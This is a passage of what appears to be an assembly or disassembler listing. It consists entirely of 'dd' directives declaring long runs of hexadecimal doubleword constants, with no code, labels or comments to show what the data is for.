86E19DD2h dd 84DBB6AAh, 3C270F03h, 5C75A4C1h, 6306DD57h, 831CB88Ch dd 0BA2ABB25h, 0C4C1AFC3h, 0B52E901Ch, 0B169BCACh, 62114669h dd 9893375Fh, 82F79DB0h, 8CCF06E9h, 0D72284ADh, 79C6BB80h dd 0ED13F680h, 86BD3184h, 59D38117h, 0C6994526h, 39ED7322h dd 0B02B5ABCh, 8068F8B5h, 95A7B405h, 6927C79Eh, 37294483h dd 2A751620h, 3D4CB5E3h, 0A49E6F0Bh, 5A24F896h, 2E9ADE47h dd 0D950C679h, 26C17E0Bh, 6136C833h, 209BEF98h, 2FDF5C0h dd 65DAA0ABh, 0FC58C7DCh, 499A0C28h, 9AF4C53Fh, 75459415h dd 0E601A88Fh, 0C22D4F59h, 32F2DC2Bh, 0A8E32CE0h, 0F6A5974Fh dd 2448A91Eh, 0C71AEBEAh, 0C4DDB14Ch, 0F235C3E6h, 44460C32h dd 4212B4CAh, 0CAC0B75Eh, 0DC256CDEh, 904DBE07h, 89B54EC6h dd 0F9557222h, 3D3A0917h, 0B529E1F8h, 7294A28Fh, 0EDE3928Ah dd 207569FCh, 0AE6EB48Ah, 0FD3F145Eh, 7E4D1Fh, 0A9D5D56Fh dd 0D40731CCh, 0F75E0BBCh, 69ACF37Bh, 9910EB27h, 3FB3F74Ah dd 1EC482FAh, 0D5CF3A1Ah, 0A6A902CCh, 0B1C3AA8h, 47773CACh dd 20103534h, 9BDBAB2Ch, 81CA8AADh, 0B13B6791h, 0A1C865CBh dd 14D2FFCh, 893D30ABh, 9FC460Bh, 91D46698h, 73441982h dd 0EC904030h, 0C5DFD5DCh, 1418916Ah, 0A992FB2Dh, 0A4B1FD7Bh dd 0DF4EACAAh, 69C5C6F4h, 29838A2h, 4FBDD1FFh, 5F802252h dd 131BD41h, 0A0ECF82Ah, 301E1D8h, 0C2F0EEF1h, 887AD15Bh dd 16B58C09h, 0C85FD182h, 4D9607B2h, 925853F0h, 0D33B1086h dd 61F28801h, 1785E48Fh, 958D3B16h, 0CECDE2F4h, 0D8A61ECAh dd 8317AE3Eh, 0D3DC2CF9h, 0BC4C8DD9h, 9D209149h, 0EFEB55EAh dd 0FA787AADh, 674749E0h, 4F2A90Eh, 0A4A8CB61h, 0F3A79E99h dd 68760D38h, 0E206528Bh, 0C29BF52Dh, 0E132621Dh, 3EED1ED5h dd 0D977588Fh, 0CDA514B2h, 1AB54A67h, 6172A755h, 0E679ED02h dd 10F3BCD0h, 917D6BA2h, 0E50108F3h, 7B70F56Fh, 0CAA5F34h dd 3095F639h, 0EEF4E547h, 0F4905687h, 4AD3D9B2h, 8F6B667Bh dd 9D4A3ACh, 0F5DDBA0Ch dd 3934919h, 8B1FACBEh, 70A16EBCh, 855B7CA0h, 143E7667h dd 0FCD74916h, 0CB95F684h, 19C3D9A2h, 9290A696h, 0D14AECAAh dd 18519A61h, 95051663h, 0BC73AF24h, 6766531Ah, 895CE592h dd 0DEA88B73h, 586D0E0Ah, 0A2C98083h, 695E5612h, 924AD2E4h dd 46DAB1D0h, 0C150E079h, 38DAE69Bh, 0CEF12CC9h, 0AB30136Ah dd 0B03A61ABh, 97E7994Bh, 9E741783h, 0D0FC3BAAh, 0B012338Ch dd 0F08ADE06h, 0ED059979h, 98DCCDB9h, 9F7B81C4h, 0E5F603F6h dd 0A0931C8Ah, 0BDFFF1C9h, 7AE0EA87h, 0B9D9D577h, 0C8EA23h dd 212F718Bh, 0C73D2DA9h, 0A648E6AEh, 98973BA9h, 72EAE63Bh dd 6F5E4772h, 96EE98Ch, 6C382AFCh, 3AD18325h, 5710AF10h dd 0CF00F776h, 369BF240h, 0D6BE0180h, 1534B510h, 4FB04C5Ch dd 7B500CB8h, 5EEA3681h, 0B5812817h, 6DAB8113h, 57E34052h dd 119BA9ECh, 0EE1A6DF6h, 52D74B84h, 2F58E809h, 0F74E8D7Ch dd 9C497DE9h, 0DE022C3h, 71DEB3Bh, 0FB2E4F0Bh, 0B9CBD4D6h dd 0D040CFC6h, 0CA8FE169h, 619DCCA3h, 2A6F4163h, 0F44C5DA3h dd 48667014h, 167575BFh, 0F18BDA74h, 0C256C7AAh, 6F01FC95h dd 0CA12F2BDh, 70EAC378h, 0CE30B6AFh, 30FF2B30h, 1578E4Dh dd 0E5AB8703h, 520C04EAh, 8FE2E712h, 4AFE0378h, 744BCA64h dd 0BD43132h, 0A4714BF0h, 0AEF0BA9Bh, 0F485EDADh, 7F74DE8Eh dd 97C2CBF8h, 32A3B9F1h, 10B43591h, 3918DF2Eh, 36E045EEh dd 7A49E47Dh, 15110546h, 1F8F6103h, 0C400F9AEh, 7C710D29h dd 0D8CF65C5h, 0B440A41Dh, 65D30083h, 1499C073h, 0DBCD63D1h dd 970E68C0h, 7A973F8Eh, 0D6CE71FAh, 0C07181Bh, 75441ECFh dd 6E9758B8h, 662CEAB6h, 0EE7042C5h, 28648BAh, 9A22048h dd 0E039A98Dh, 43CADFE4h, 399B3C20h, 0B9314EE7h, 6195DB20h dd 0D5ACEC5Dh, 3B09D224h, 77107A4h, 0F5FB42ECh, 89C4058Ch dd 0F3174383h, 80678577h, 10E5AF82h, 2090FE4Bh, 1160A329h dd 51793CAFh, 0E8B07F2Fh, 862CEFBCh, 7A09A0CFh, 967CA94h dd 2EF0ACAEh, 1948ACCh, 0A9A160E3h, 0A1C5B13Bh, 3157D249h dd 4CB59470h, 6860354Dh, 812650BCh, 0CE32FB20h, 8981FCAAh dd 0C445BB4Fh, 0EDF11803h, 0E57E0442h, 0AF18CE89h, 0BFF4AC0Dh dd 49609C7Fh, 6A33C6EDh, 6ACA8430h, 80907F3Dh, 3ABDB01h dd 0FBCC9D31h, 0E992FAFCh, 1116915Ah, 0AC7EA0ADh, 0CDD68496h dd 0AB3BAA60h, 0AEB66DDAh, 0C31F2F1Ah, 0AF83E3BFh, 2C7B7DE7h dd 0EA22EF01h, 40D9A7D8h, 708BBE98h, 7021E9C2h, 0FE773678h dd 19533EF0h, 4EBFD465h, 4D8A1F34h, 0AABD97FEh, 9E9E78EEh dd 44893E17h, 1A7D7982h, 8129087Bh, 0ECE8418Fh, 581CCA02h dd 0A5B17D8Fh, 0A88A723Fh, 41C826EDh, 8B8103E7h, 0F5A81A97h dd 31220415h, 0E3F99279h, 0F204E16Fh, 1321E6Eh, 56D32F87h dd 27D24C3Eh, 72C427CCh, 45302B4Bh, 68C95DDFh, 61562D27h dd 13B91EECh, 0C51D8F0Ah, 0B9D768E9h, 0ABA55B0h, 0AD541F15h dd 0E2A0EFAAh, 203156EEh, 0A4CD28D4h, 1878B932h, 747AD74Bh dd 0F26C87BEh, 6DA00D14h, 0F9D1104Ah, 9A781D48h, 0D85427Bh dd 0D173C63Eh, 3BAABAC0h, 95498F75h, 0D1F0459Dh, 3A9013C7h dd 41BF5Eh, 37CBCA11h, 0B54F4CF3h, 0EDF01D34h, 55A393ABh dd 1CDA6018h, 6C8C5DB9h, 130DFCDFh, 466848CAh, 5068F7C4h dd 0C480528Ch, 40474240h, 51463F16h, 8E71BCC1h, 5B1E7AD1h dd 0F613EC44h, 0F7E3CE51h, 1BAB797h, 557E4BF7h, 0C27A50EFh dd 0CD3D3B7Ch, 6215F321h, 4FBCC8A9h, 335BA019h, 7BEA5A39h dd 9A9584B8h, 12282948h, 2770D51Eh, 6DA13E6Bh, 9287F211h dd 5A65EDC8h, 104E47D7h, 535DD07h, 609CF89Dh, 0CAE23B82h dd 0BC77C5E8h, 59D9D0AFh, 58A3AF87h, 0DE152BBEh, 0B7BF7BA1h dd 3F128F5Ah, 0BD5CC0E4h, 46998283h, 55FBAC9h, 0CB3BD670h dd 362E32E4h, 0C912642Eh, 8EBF21A6h, 20817D05h, 6D511AF9h dd 2E05B3B9h, 0E368B85Ch, 243293EDh, 0E39AA287h, 0D6661601h dd 372199EFh, 0F3B489C9h, 0A99B6BF3h, 5A4CBC94h, 3B990B74h dd 2A520B4h, 66A9D2B8h, 0DEB73426h, 3301B9CDh, 260310DFh dd 907AA19Dh, 0E6E03768h, 4D088D13h, 0A20AC93h, 2FBE40EDh dd 0FFE9A832h, 9C77A3A1h, 0B87A860Fh, 5016EE32h, 1C2411B9h dd 0F0FCCEDEh, 0EF059E3Ah, 8BF39C78h, 94D5E381h, 0CE958605h dd 3E7AFA67h, 54B12120h, 4F3FA11Ah, 2E8EB714h, 96997A3Eh dd 1F6E2206h, 25FE12D5h, 4D3118F4h, 4C976457h, 4547599Dh dd 8EDBB08h, 650E0212h, 0E02AD477h, 17C455A4h, 78134CD7h dd 6575D900h, 3FD9BFADh, 0BA4B5223h, 814C12C8h, 55F0CEA8h dd 964BF376h, 0FBA8E30h, 0B67A75DDh, 5F310AB9h, 0A687ECA0h dd 3BA3CA01h, 712B1675h, 7E9FC9A4h, 102D6B2h, 431EE4C8h dd 436D64E7h, 78972905h, 9F5ADAAEh, 4E8220C8h, 20399B14h dd 982F3417h, 0BA5A5905h, 3D3C2BA3h, 0E5D593F4h, 1A6AE4E5h dd 0ABF770CAh, 2384C055h, 9DB2C330h, 51807AE5h, 544A8553h dd 0E3E88020h, 0BCBD37DFh, 8530D7E4h, 0AFB41A3Fh, 6ECF3EFEh dd 43CE132Ah, 9056BCBFh, 74FB8BEh, 8FD1ABD3h, 3285FCC3h dd 9EB727CCh, 49745A91h, 2AA6B190h, 0BCD08BDBh, 2B43E18Ah dd 0C37CB1A0h, 73B460CFh, 0BDD7484Fh, 0A476AB3Ch, 0F651373Dh dd 4B8900FCh, 7BA49E8Fh, 6C31762h, 0C554C5E2h, 2DB27D93h dd 81FA8EB3h, 72FE5954h, 0D79BE9B8h, 0F1197396h, 81795D0Eh dd 6DDA75EBh, 4205C2C8h, 588B6DE6h, 566D20A7h, 0F3165BABh dd 0B1DF8821h, 91797429h, 772CEFE8h, 0C781B35Eh, 0A8697D5Bh dd 839C9E44h, 2943A011h, 295B74Ch, 4D352501h, 7CCB3D56h dd 7B3DB0Ch, 0B876EE19h, 41C82651h, 0D83AA89Ch, 0ECC4FFBEh dd 0CC62C09Ch, 0F43250DFh, 0D67230BDh, 0AA4DC41Eh, 623E3638h dd 0BEDE7A78h, 2F3D167Fh, 77647890h, 0B0437D6h, 283D2295h dd 93562D06h, 35B4B1A7h, 0D0A18A55h, 341F0168h, 61E929ADh dd 54D11A4h, 75CF7AD6h, 6AEC2745h, 2AD55071h, 6B39ACDFh dd 42563440h, 318780C2h, 0F88163D1h, 0C3B6E3C4h, 30FE0058h dd 3E3F160h, 8BAE441h, 7BC715E6h, 0E11904D2h, 0F93D20C1h dd 0DF65F930h, 0C2CF0F89h, 91EAE2C8h, 0D8AB0AECh, 71052260h dd 0B2333993h, 34061614h, 0FCD7F6D1h, 0AB669389h, 0FBA7C7F7h dd 978E8AEAh, 0C16DD487h, 293A7687h, 9DBC7A15h, 24908DEEh dd 0D315E4E5h, 0A0CCD7B8h, 11916128h, 933FB474h, 97C7E0D5h dd 4145AD30h, 0B2DFC777h, 9DF6CB93h, 3E4A0AB0h, 67F87D87h dd 0EAA6DA2Fh, 9340360h, 0F7A99D9Ah, 0B29440A2h, 2D4BF62Fh dd 0CD996C58h, 4C719D14h, 20BBAD3Fh, 8533678Ah, 14CC6013h dd 9ED7CC94h, 0D3E9103Ah, 0EAAA9315h, 22E25ABBh, 8C8070DBh dd 5D68809Ch, 53AEB1B3h, 0F048AB43h, 418D58B0h, 0E7802E1Fh dd 49A00F96h, 1C1EC71Dh, 13870B4Bh, 0B2E35F28h, 0CF9B912Ah dd 728F7852h, 0D982D4Eh, 0E7FBFB45h, 9D370DEFh, 27A05D37h dd 0A7999580h, 0C5023E4Fh, 0AE67E24Ch, 1A1F8DCh, 4B491ECBh dd 97E375F9h, 0E2E2E6C6h, 89C5FB03h, 11B725EDh, 75CE782Bh dd 361F0968h, 7405C093h, 10FDF0AAh, 6F45BD0h, 856D759Ah dd 91735676h, 0D827BE19h, 0EF990A56h, 22D5D082h, 70C7D3BFh dd 2C70C0F9h, 0DB91222Bh, 30D52327h, 0B6480E34h, 874EFC58h dd 67147114h, 4DB44F9h, 0D8EB8678h, 45578E2Bh, 0BA670C30h dd 0DF1500BBh, 1DCF967Eh dd 162BCE95h, 9F7E70AFh, 5DBA6B63h, 9997A5F7h, 0FA6CBE3Bh dd 88F53596h, 55E3067Eh, 0E7213F69h, 0E2298A36h, 0E66CD055h dd 0A8AA0C21h, 0DF62BE39h, 0C92E1BEEh, 6EFFA2FCh, 3B33E967h dd 5B8EB637h, 1803F575h, 0FB0D2AFDh, 310BFF2Ch, 0BDF16EF7h dd 0F15A4DD3h, 0C57C5F43h, 0AA825C52h, 0D5664A8Ah, 62BB021h dd 1D4CE1B8h, 371465B4h, 53156465h, 0A1024F40h, 2DA0F15Eh dd 2BB49081h, 9374EADBh, 219D9EABh, 0B7F54661h, 6F4767C5h dd 1763FEA1h, 76C027E1h, 0F47B5F4h, 544146DDh, 0AF5F67B1h dd 0E1235A71h, 28118433h, 22E354EBh, 25648FD3h, 166C4B12h dd 4E2FEAC5h, 0D32D76D8h, 0ACC5EA10h, 2214636Fh, 0A6BBC35Ah dd 6F71005Eh, 82B487E4h, 6A97917Dh, 3792609h, 0B6976787h dd 0C917FA2Ch, 0BA01522Ch, 0ECE553EFh, 0B52D156h, 243D3Ch dd 42EB9D2Eh, 8EC0F7BBh, 56E44961h, 0C751BB3Ah, 7AAC4156h dd 69E7978Eh, 3D567B5Ah, 93ABFADh, 714DCE69h, 0C33A8673h dd 1B839937h, 0A786C7FCh, 8E46E9BAh, 1D85891Ch, 0EBFE3A5Bh dd 0A3B8C070h, 0BDF82079h, 8A81B1AEh, 0F280F4FBh, 0F4D51743h dd 10C012B1h, 0B4D93FACh, 0FFACFC59h, 0CEFD7DCDh, 0C557EF1Fh dd 15B087A9h, 8413F610h, 8F66BD45h, 0A70151BBh, 0EE53378Fh dd 8CD5A237h, 0A78B3FDBh, 0B4A98845h, 1D144E19h, 7F24429h dd 0E64653C8h, 0B15841A3h, 0ED57EFDDh, 852514DCh, 0DEDC1D84h dd 0ED0DE3B3h, 7E7ABEF0h, 0E1A34592h, 9F49D278h, 0E799117Bh dd 532E4DDAh, 254D1061h, 3A26BD75h, 0CA8094D2h, 3B3AD132h dd 81E4B05Eh, 64A85878h, 0BAAD4794h, 5DAAE98Ah, 0A6501719h dd 3D46EBF2h, 15E128DAh, 0ABA1D23Dh, 0A35F7F75h, 27F10831h dd 5BDD6B78h, 0D12F5C9Dh, 0E0B8DC15h, 0ACAFBE4Eh, 82EBE600h dd 1C3A69B8h, 38E9BADAh, 4D26991Dh, 8F5ECB63h, 5BC07EBDh dd 5E05CD2h, 0A8C05F16h, 0C54FC73Ah, 60E04EFDh, 6AF9DE89h dd 4BD4FFAh, 0E04F9E25h, 0BCCA44E9h, 0C197680Ah, 0BE30B8AEh dd 86BB808Dh, 0EF0BADF2h, 7E701F94h, 0BA1D2553h, 3792A75Eh dd 49FE5526h, 0D1287FAFh, 30D8274Eh, 0ECFE679Ah, 979584CBh dd 2B2DDCA7h, 0C0AFE396h, 0C31F7CF2h, 0BB2A2E83h, 935F29FBh dd 35E0103Ch, 0C60FF07Fh, 42F76CD6h, 9B8A5178h, 0CDECBBCBh dd 71A76CB5h, 7374BE27h, 85D31EEBh, 0F9A21E96h, 71507C0Fh dd 0E4D78CEFh, 2AD6F4ECh, 4FB4A9A5h, 6418319h, 0E9F7857Ch dd 0EFDC0833h, 0FE41F0AFh, 386D98D1h, 0CA0B290h, 12833B13h dd 1B38161h, 0E389D7E8h, 0D726337Ah, 8B17617Ch, 4D5D476Ah dd 1452AC2Ah, 34D7246Eh, 7CF82A08h, 74F37050h, 5ECFDF1Ah dd 5B656C88h, 17AC94CDh, 7ED1FBF7h, 0EECD0571h, 4052EBCCh dd 2390ED6Ch, 0CDDD84ADh, 0DB2BA6A5h, 1197CE77h, 0D2412832h dd 362BE5A9h, 486E6BBFh, 1C91CB4Ch, 25404258h, 1C8BBFF0h dd 753E8613h, 0EEDB6858h, 0AAF8DC41h, 0E48AD8Ch, 0AC17BA4h dd 0C5E5814Ah, 59D9D293h, 90120126h, 353431BDh, 9DB2E1CFh dd 224FC261h, 0C4071925h, 7F4EE76Eh, 98C6DCECh, 0F58003E2h dd 4E3A2619h, 75053347h, 3EAFC99Dh, 6E74A804h, 5F780F8Bh dd 3A47CFACh, 644273C0h, 8ACCEA10h, 0F67586h, 2F6A6646h dd 0B013B26Bh, 0AD5B1288h, 7CF5CA70h, 1F2EB358h, 200E2220h dd 13C75001h, 0DDFAA592h, 169E5AA5h, 8AD64CECh, 0EC89350Ch dd 8903E4EBh, 0E8D2E13Dh, 468D8AA0h, 0E441D808h, 39A30A5Ah dd 0D5170C32h, 0DB62AE8Fh, 1168B15Dh, 6A65E40Bh, 0D6D0D320h dd 9F6F524Bh, 84A86D1Eh, 0A9A9D9F1h, 0AE975059h, 66A47C3Ah dd 0A4F0BDD1h, 0B39B02E0h, 87B6BE94h, 84EDDAAEh, 2A5B9CFFh dd 3AD3FA6h, 202FD480h, 63DFAD95h, 812C86D6h, 13605240h dd 4F8A5FD0h, 0FF098BC6h, 3A33FA3h, 0D460230Bh, 0A5A59AF2h dd 1A91F779h, 0BA066135h, 0BA4FC17Bh, 0C4636EB1h, 56D51955h dd 0CA6298DBh, 0D8FF3B30h, 0E23EBAE5h, 2CB39B63h, 7A72ED2Fh dd 3A2AB57Ah, 937625Fh, 5E91DFBBh, 3A41060Dh, 77D366A9h dd 86108363h, 8B7C5BBh, 0FDD1AADBh, 0F40334E1h, 51E1A841h dd 5B584FF0h, 6900B468h, 0C0A407A4h, 3DA4034Ah, 5CE85A49h dd 34058F55h, 0F9A5081Eh, 6550C606h, 67B0B8D7h, 30D66295h dd 13A11843h, 0E6890E81h, 0AD66F6FEh, 2E6AA955h, 2BF45C10h dd 55BD69D0h, 5D46CF77h, 0FB608EACh, 0A3545C3h, 0B5C4C35Eh dd 63ED2CF7h, 0FF17947Bh, 3CB05D46h, 72D15328h, 90EF486Ch dd 16246B75h, 1524CD22h, 5C72F430h, 3A168C46h, 1E4056Bh dd 0EFA00F11h, 0FAE6D8C3h, 0FEBA60EFh, 3457C4D2h, 0C736E5AFh dd 2DD4F122h, 2202BE42h, 8BD88EF1h, 4BE5E7EFh, 2FBED14Bh dd 3D2DC65Eh, 0CDE92795h, 62747668h, 46C1F082h, 7AA32BDCh dd 627102E3h, 69697C27h, 728CDEB9h, 55CEC7EBh, 0BC00F80Ch dd 0A02692E6h, 15512095h, 5B082C93h, 0D97A2B1Ch, 8672776Fh dd 38C996A7h, 0E6869395h, 0EB03FAB7h, 148D71F8h, 2D5876D9h dd 4575C39Dh, 7EFB1EEFh, 219BC570h, 196899D9h, 3C2449AFh dd 48CEB1FDh, 2CFE37FFh, 0AD7C9F07h, 806398CBh, 0BADEBD81h dd 66099A6Fh, 0CB5FFA95h, 8F8B92FBh, 19A1A511h, 0A88C3D4h dd 0BE9CD35Ch, 0EB8F5988h, 5EDC52F4h, 88C09A02h, 0EF4A06ABh dd 3B605C5Eh, 0B0F0B748h, 3C7CE46Ah, 3632D2E3h, 0FC333F71h dd 2C3DE8DFh, 0E3995710h, 2C60CA06h, 9668A81Fh, 0C060833h dd 0E66F390Bh, 3BA5FCF0h, 0F2B18F4Ch, 52C21835h, 322FD31Ch dd 9476FCDBh, 8E6BF538h, 792616EAh, 97F8D18Eh, 7DC36096h dd 21F827DEh, 0C3F8BBADh, 0F0D3FDD3h, 0CF34C580h, 7A94889Dh dd 31CFFABAh, 0B9CB9572h, 3B6F402Ch, 0AFF402Bh, 9F30865Ch dd 0F07716D0h, 28404BA1h, 0B5AD68B5h, 0BA5FD4Ah, 7DD163E3h dd 9AB5DE36h, 0AA51A005h, 968AC691h, 83147433h, 0FF92E149h dd 9E97BD00h, 78BC37A9h, 7DEB155h, 0D5D27DF7h, 1C8DA3E5h dd 0AD5DCA84h, 0F7975885h, 5FCBC4A5h, 0A4BCE947h, 0F9414DBFh dd 8FFD110Fh, 36F606F8h, 97713C6h, 0E255A74Fh, 1E72C7C5h dd 6BCE48CBh, 12BE38F9h, 0D0CA716Ch, 6015028h, 0FA83FA35h dd 0A983B9AFh, 6698C577h, 326FD4DEh, 0BE651E52h, 0BFA2C078h dd 0F778A875h, 0A6757BEEh, 1D44532Ah, 0BF87ABC1h, 31DA2ABCh dd 884A4C81h, 2B956AC3h, 0F9C697Dh, 0A5408EFAh, 233165Bh dd 52298571h, 123F7D56h, 788D977Bh, 43B47A9Ah, 0EB8B46A8h dd 0D6FDC880h, 410B2B6Ah, 4D51D4BFh, 742CAB42h, 0FA38B477h dd 0DE6550FBh, 4B5B82E5h, 7CE8C018h, 59FBA0EEh, 0CAA6103h dd 0F6A7D289h, 0A03D20CAh, 784F5BFAh, 3EFBB49Ah, 0DBACB8DCh dd 0C587A974h, 0CA423AFh, 0F0987CC5h, 648DD4A9h, 359F2176h dd 8190C155h, 632B4CA2h, 0FB958C62h, 93179EA5h, 677DA013h dd 8D52E345h, 2812A377h, 0FA052A2Ah, 4516F6C8h, 3474FA90h dd 0B63A63BCh, 30161286h, 0D250CBBh, 63D3BDEh, 0BBF0E623h dd 4BBA0765h, 11319160h, 70BC6477h, 5597B983h, 93AF1CB4h dd 92828E38h, 4CE4BE51h, 780803F0h, 36512D1Fh, 82B2F84Fh dd 50BBB30Eh, 0C20F04FAh, 0ADD1C450h, 613D81E7h, 7B4FFE2Bh dd 7A691309h, 0AB166A9Fh, 8F257B9Bh, 72775507h, 8DF1C476h dd 5326734Ah, 0D8267B02h, 13785F7h, 0A3FF751Fh, 8E722CFBh dd 98FE3299h, 5CF336A2h, 5AF7226Dh, 0D8CE16DFh, 0EA323C19h dd 0EF843581h, 189359E2h dd 1612647Dh, 5A28A9EDh, 8DAF3D9Eh, 0CC52520Ch, 0D778D919h dd 2788EA70h, 5409E444h, 0FB25A22Fh, 1059E085h, 2E405C20h dd 0ADB36189h, 6F8B4A03h, 3003F8h, 0D1DE908Dh, 9423B2DAh dd 0F18A15DEh, 7F299668h, 5B1A3BEDh, 95051E05h, 235571B2h dd 75BE80A4h, 9083A786h, 0BFBF34E7h, 0F41E44E1h, 0CAEE240Eh dd 80B99283h, 0A1D0E346h, 663AD96Ah, 0CEED0504h, 0B46A75CEh dd 0C1E2C866h, 709F3930h, 7B9C4DF6h, 0FE20A86Ah, 53518FFh dd 673AFF7Dh, 9F9710F2h, 0A7D3889Fh, 4E4987ADh, 0CE39FC15h dd 5C214138h, 64E6E919h, 11860B6Dh, 0A590B504h, 56E0929h dd 5CBE4BC7h, 7EB85446h, 6B6FC0F6h, 2A23BC28h, 22E59F8Fh dd 8B34E131h, 0CA6C46BDh, 636036AEh, 4AAEEF9Bh, 0E88B4907h dd 82F5D6E9h, 80B9F2C8h, 0F344EFF2h, 0FBED9680h, 40D8891Fh dd 0B7430445h, 0DA03746Fh, 0D1421CB1h, 378D1A5Ch, 3EC7C4C7h dd 4DC0DA36h, 4F53D9BDh, 30788A7Ah, 1E3463A8h, 5C5A1BAEh dd 4DB59B83h, 0A7A02F0Eh, 0F22CAh, 99218F3Ch, 40F26103h dd 999559h, 97B24553h, 6121C51Bh, 0B84F8438h, 0A0CA6AA2h dd 9E0EED82h, 0C2F5452Dh, 0ED32A1C0h, 6FC94C08h, 0E8F7B0A0h dd 0D6E0923h, 54635F27h, 8C801681h, 1F7278A4h, 66E90F8Eh dd 39C0F501h, 15A9DB55h, 347D2817h, 0BB4701EFh, 5E6E24D7h dd 0EADC4534h, 590E8203h, 9DAED17Bh, 4693B5EEh, 191C5CFBh dd 8B4ECB7Ah, 0E3EA8C43h, 548627F6h, 5B3FAAF3h, 0A12C1483h dd 0A7DD100Ah, 0EBE13AD1h, 89DF99BFh, 301237CCh, 67E06892h dd 0F9FCC943h, 80E731D1h, 0D50C06FEh, 52DF35A6h, 562490CAh dd 0C0EA5866h, 63AB1FF7h, 59710E07h, 32906611h, 9D79BC92h dd 3FE3AF3Bh, 0B23EE795h, 43B21A15h, 297981D4h, 0E189B362h dd 4FFD6B81h, 886F844Fh, 44EF2AABh, 0E8C9E685h, 57CA5039h dd 0F75A4479h, 717BCC4Dh, 0F58EA69Dh, 0EC59D4B3h, 0AD1AE31Fh dd 7BF45183h, 0EB9E50FCh, 0BE0A2B40h, 0E0A7A868h, 0F9440C70h dd 1DD2F678h, 0BB5F2A19h, 8615A694h, 8F0BC5B8h, 20266FBDh dd 714D76EAh, 0C83273A8h, 0DC8FC3BAh, 3AFAF5A2h, 0F5A00464h dd 0ED83C3F3h, 6D31625h, 0E4F25F0h, 5465DD50h, 30DB885Eh dd 0D31ACF93h, 781A7682h, 57123399h, 0B26B37CAh, 0F0ED84Eh dd 20EA88C4h, 154765F7h, 0C12A998Dh, 0D912E317h, 3E42D67Dh dd 2C2F642Bh, 0AE4F09FBh, 0D38E35CDh, 3EC6AF33h, 0ABB419Ch dd 0AAD9B82Eh, 48DB9F73h, 0DFAB76C6h, 0A09DC18Bh, 6CF7AC81h dd 2720D717h, 2F936AD6h, 46E3E95Ch, 6B452A94h, 5870087Bh dd 82EE92DDh, 0DACF8083h, 9A26AE78h, 52517EADh, 4FF76263h dd 74EB6471h, 50EB1EB6h, 23A5661Fh, 99F18D35h, 1B281A62h dd 69DF7B1h, 0FE42B0A0h, 56D44856h, 0CAFF26ABh, 0ECF43EE1h dd 5C96BF44h, 380F130Fh, 59763A42h, 79B56FFBh, 8AD7177Fh dd 0AAC22AC5h, 0CBCF4142h, 0F12D5361h, 700865F8h, 0B4B49D2Dh dd 50F13AA9h, 0C637846Fh, 69F2F4E1h, 68E44278h, 196E522Eh dd 0E8706CA4h, 3DEC4FCBh, 0FA2BEAF7h, 9B6DF825h, 82AA9A0Bh dd 0C70CC347h, 6DA6CE67h, 0DAEBB402h, 0B79FA205h, 0B720F6A1h dd 3BB5AF8Ch, 38C47ED1h, 57BCC25Fh, 0AD9007EFh, 0A3CBC239h dd 0ADDDAAC1h, 4B38AD21h, 0C0E9C159h, 7432C46Bh, 478E480Bh dd 0C69437C2h, 909A881Fh, 0B45DD5B6h, 0F117F169h, 71C8E205h dd 81BF67FEh, 0F586138Ah, 0C0500F58h, 5738C5D4h, 6BA4E5A0h dd 262D67Ch, 9291F5Dh, 9D61DE02h, 2E2F12FEh, 0BC035EB3h dd 0F50F6289h, 0E507AF3Dh, 0E0525A37h, 535BFF0h, 25546E9Eh dd 27970092h, 93807FA6h, 57C0C902h, 0DC73542Fh, 0A72499F5h dd 0A05F341Bh, 0D2459D02h, 0CF1F2320h, 93E8C80h, 0B4FCE62Ch dd 1D24947Fh, 0EAE3E7A5h, 714AED12h, 0F4099E34h, 3AC15E7h dd 1348499Ah, 0DB0934D5h, 4834A6A7h, 5F23A8E3h, 67F1D390h dd 6F6BE4B8h, 1C58FF00h, 1DF5ECFh, 0C60E01Eh, 4F56CA1Ah dd 0D1F82E11h, 0DC666D98h, 738EDD1Ch, 0BC9024FBh, 0C8118D01h dd 2762653Bh, 168C12F1h, 47EE6AF4h, 0DAF98015h, 0A9F45662h dd 0B81C8CC6h, 99FFB0FBh, 0D2A1BB7Ch, 0B21FA5DFh, 272E35CAh dd 62CE6BE8h, 6E86A34Bh, 0D6B7F047h, 0AD4C2A6Fh, 0CB85A34Dh dd 3C94DB59h, 8271F6F7h, 0E7AA3595h, 800AC64Eh, 14E5A5ABh dd 65B41E1Dh, 0E5554063h, 153018A8h, 1263E074h, 0CDAB94DAh dd 7DA00C92h, 6F9C2B53h, 7761EA0Bh, 5CCA60F4h, 844D8B62h dd 516CAC59h, 8E5CA8Ah, 0DE03E98Ah, 0D79C2BD6h, 86A83F00h dd 0C2FCCFC6h, 2A0B62A2h, 0FD354F7Ah, 59A18C6h, 3DA1DF09h dd 0C67EC984h, 3EEC00A7h, 0B033E832h, 0C64C0E6h, 0BA609440h dd 0CF43E7F5h, 5037D1E6h, 0DC569346h, 0A6C772F1h, 9714B5B0h dd 6E6F4982h, 1CDB06ACh, 69B514A4h, 0DD2381E6h, 574E7923h dd 5FA886B8h, 0C57182BCh, 4ED6097h, 538900EDh, 728231C5h dd 548060C3h, 66B8CE77h, 73A27776h, 0E6B63D56h, 81BDC69Eh dd 0B00914DCh, 0C3186A06h, 95273A44h, 0D2B3822Bh, 2592FB4Bh dd 1CE48DCDh, 9AF9F63Bh, 264C3602h, 26A66E0Bh, 4E8B249Fh dd 71CE0800h, 0C487E870h, 8D81606Bh, 3A3F498Ah, 87FEDCF9h dd 27601D38h, 1A553BADh, 9BCDD16Ah, 599B734Ah, 0ACE202EEh dd 0A0D68A07h, 68189C09h, 3B21BE01h, 14A2BAF3h, 0AC2815E5h dd 54001368h, 0BAF8D495h, 9C50CF58h, 1BE5FBA5h, 0C474A761h dd 0A81409F1h, 12CB6A5h, 21BC63B6h, 0B21E4B5h, 0EC033733h dd 51F0288Eh, 76FE34D0h, 0F6219AA7h, 0FEEBFA99h, 37BFEEC8h dd 91964B4Ch, 31130B55h, 1C61E77Dh, 32AE357Ch, 0CB5D5838h dd 0F214E61Dh, 0D186A6F9h, 0FF7D36E6h, 67CE8D9Ah, 3C588036h dd 0AA876C46h, 0CA35C09Dh, 4E473E4Ch, 14DA8ED5h, 752D252Ah dd 31C1BE75h, 0D8C857E3h, 0D902A6F2h, 0F6A43D7Ch, 0C18176C6h dd 8D416796h, 6A9389EBh, 0F4B3A9A6h, 5BA3D12Eh, 8354B513h dd 20484B5h, 0B13074A3h, 0B20BBBA0h, 1E82286h, 1F3414B0h dd 7F822180h, 0A7BEFE09h, 0C54A5CA5h, 7BE0C227h, 0D8F8DD7h dd 682C687Eh, 545744AFh, 